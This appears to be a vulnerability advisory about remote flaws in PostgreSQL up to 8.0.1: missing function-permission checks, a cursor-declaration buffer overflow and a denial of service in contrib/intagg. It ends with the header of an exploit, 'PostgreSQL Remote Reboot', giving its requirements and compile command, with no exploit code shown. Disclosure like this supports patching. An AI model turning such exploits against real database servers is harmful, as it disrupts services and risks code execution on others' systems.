Multiple remote vulnerabilities affect PostgreSQL. These issues are due to design errors, buffer-mismanagement errors, and causes that are currently unspecified.

The vulnerabilities are as follows:

- The application fails to enforce function permissions.
- A buffer overflow is triggered when cursor declaration occurs.
- A denial-of-service issue resides in 'contrib/intagg'.

Not enough information is currently available to provide a more in-depth technical description. This BID will be updated when more details are available.

An attacker may leverage these issues to execute arbitrary code with the privileges of the vulnerable database process and to execute functions without requiring permission. Other attacks are also possible. 

/* PostgreSQL Remote Reboot <=8.01 
 * writen by ChoiX [choix@unl0ck.org]
 * (c) Unl0ck Research Team [www.unl0ck.org]
 *	info: Server can be rebooted only if plpgsql language is switched on.
 *		To compilate exploit you should have "libpq" library on your box 
 *		and use command $ cc -o pgsql_reboot pgsql_reboot.c -I/usr/local/pgsql/include  -L/usr/local/pgsql/lib -lpq
 *		Root exploits will be released later, coz now it's very dangerous to release it.
